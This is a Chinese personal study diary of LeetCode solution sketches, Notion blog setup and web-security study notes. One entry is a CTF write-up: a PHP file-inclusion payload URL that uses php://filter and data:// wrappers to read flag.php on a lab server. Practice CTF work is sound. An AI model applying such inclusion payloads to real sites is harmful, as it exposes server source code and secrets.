2024的日常
将Python爬虫中的Selenium模块和Scrapy拆开成两篇文章。
Python爬虫移动至Web——安全。Selenium模块和Scrapy也在Web——安全下。
新增基础知识——编程语言:Python高级
设计模式学习。
2368. 受限条件下可到达节点的数目 - 力扣(LeetCode)
C++思路:DFS。先用数组构造树,然后构造一个结果数组,0表示未遍历,1表示遍历,-1表示受限制。之后进行DFS遍历,如果遍历的点的子节点是0,则将其设置为1并向下遍历,否则不遍历。最后将结果数组为1的结果个数相加返回即可。记得现将结果数组的0设置为1。
时间:
空间:
每日记录更新:只记录大更新。
休憩。
2673. 使二叉树所有路径值相等的最小代价 - 力扣(LeetCode)
C++思路:自底向上+贪心。由题意,可以从底向上遍历,让每一行的相邻两个节点的值都等于两者的最大值,然后将该值加给父节点,同时将两者的差值加到结果中。最后返回结果的和即可。
时间:
空间:
休憩
休憩。
235. 二叉搜索树的最近公共祖先 - 力扣(LeetCode)
C++思路:DFS。由题意因为是二叉搜索树,所以可以直接找,如果两个数分布在当前节点的两边,返回当前节点,否则如果最大的数比当前的数还小,在左边找,否则就是右边。
时间:
空间:
休憩。
2583. 二叉树中的第 K 大层和 - 力扣(LeetCode)
C++思路:广度优先搜素+排序。先广度优先搜索,将每一层的和统计起来,然后进行一次排序,找到对应的第k大的数返回,没有返回-1。
时间:
空间:
配置了Notion Blog。
106. 从中序与后序遍历序列构造二叉树 - 力扣(LeetCode)
C++思路:递归。由题意,中序遍历总是:左子树中序遍历结果、根、右子树中序遍历结果,后序遍历总是:左子树前序遍历结果、右子树前序遍历结果、根。所以可以先在中序遍历中找到根结点,然后将数组分成两部分,左右子树依次同理进行递归。最后返回最开始的根。
时间:
空间:
Notion模板搭建
105. 从前序与中序遍历序列构造二叉树 - 力扣(LeetCode)
C++思路:递归。由题意,因为前序遍历总是:根、左子树前序遍历结果、右子树前序遍历结果,中序遍历总是:左子树中序遍历结果、根、右子树中序遍历结果。所以可以先在中序遍历中找到根结点,然后将数组分成两部分,左右子树依次同理进行递归。最后返回最开始的根。
时间:
空间:
休憩
休憩
休憩
休憩
休憩。
休憩。
Notion主页设计。
Notion主页设计。
Notion主页设计。
Notion主页设计。
休憩。
2808. 使循环数组所有元素相等的最少秒数 - 力扣(LeetCode)
C++ 思路:哈希表。先将每个数出现的位置记下来。然后遍历,获得每个数中两两坐标的差值,取最大,表示全部变成这个数需要的秒数。然后秒数取最小,表示全部的数变成相等元素需要的最小秒数。
时间:
空间:
休憩
休憩。
休憩。
休憩。
Web安全。
网页项目前端开发。
2171. 拿出最少数目的魔法豆 - 力扣(LeetCode)
C++思路:数学。先排序,然后一个for循环。每次选定一个基准数,基准数前的数全部归零。基准数后的数按比例减少。返回最小和。
static_cast<long long>
:转化成long long
类型
时间:
空间:
网页项目前端开发。
Web安全。
网页项目前端开发。
Web——fileclude:
由代码可知,file1=flag.php,file2=hello ctf。所以对于flag.php可以用伪协议filter读取,对于hello ctf可以用伪协议data构造。
payload:http://61.147.171.105:57353/?file1=php://filter/read=convert.base64-encode/resource=flag.php&file2=data://text/plain,hello%20ctf
Web安全。
网页项目前端开发。
83. 删除排序链表中的重复元素 - 力扣(LeetCode)
C++思路:遍历,当当前元素等于下一元素值时,将当前节点的下一指针指向下一节点的下一指针,否则向后移动当前节点。最后返回头节点。
时间:
空间:
网页项目前端开发。
Web安全。
DRF学习。
2085. 统计出现过一次的公共字符串 - 力扣(LeetCode)
C++思路:两个哈希表。分别统计两个数组每个字符串出现的次数。然后遍历一个哈希表,获得键值,每次判断对应键的值在两个哈希表中是否都为1,是就将结果加一。最后返回总和。
时间:
空间:
Web安全。
DRF学习。
Cocos学习。
C++思路:遍历,按照题意依次判断当前字符和下一个字符和下下个字符。
时间:
空间:
python3一行:return 3 * (1 + sum(j <= i for i, j in pairwise(word))) - len(word)
Web安全。
DRF学习。
Web安全。
设计模式学习。
Cocos学习。
Web安全。
DRF学习。
Cocos学习。
DRF学习。
C++思路:统计字符。创建一个长度为26的数组。遍历两个字符串,遍历ransomNote
时,将数组中对应的字符数减一,遍历magazine
则将对应的字符数加一。最后遍历统计数组,如果统计数组存在值小于0,返回false。最后返回true。
时间:
空间:,S=26
cocos学习。
Web安全。
Web安全。
Web安全。
DRF学习。
cocos学习。
Web安全。
cocos学习。
Web安全。
cocos学习。
Kali Linux:更新文章结构。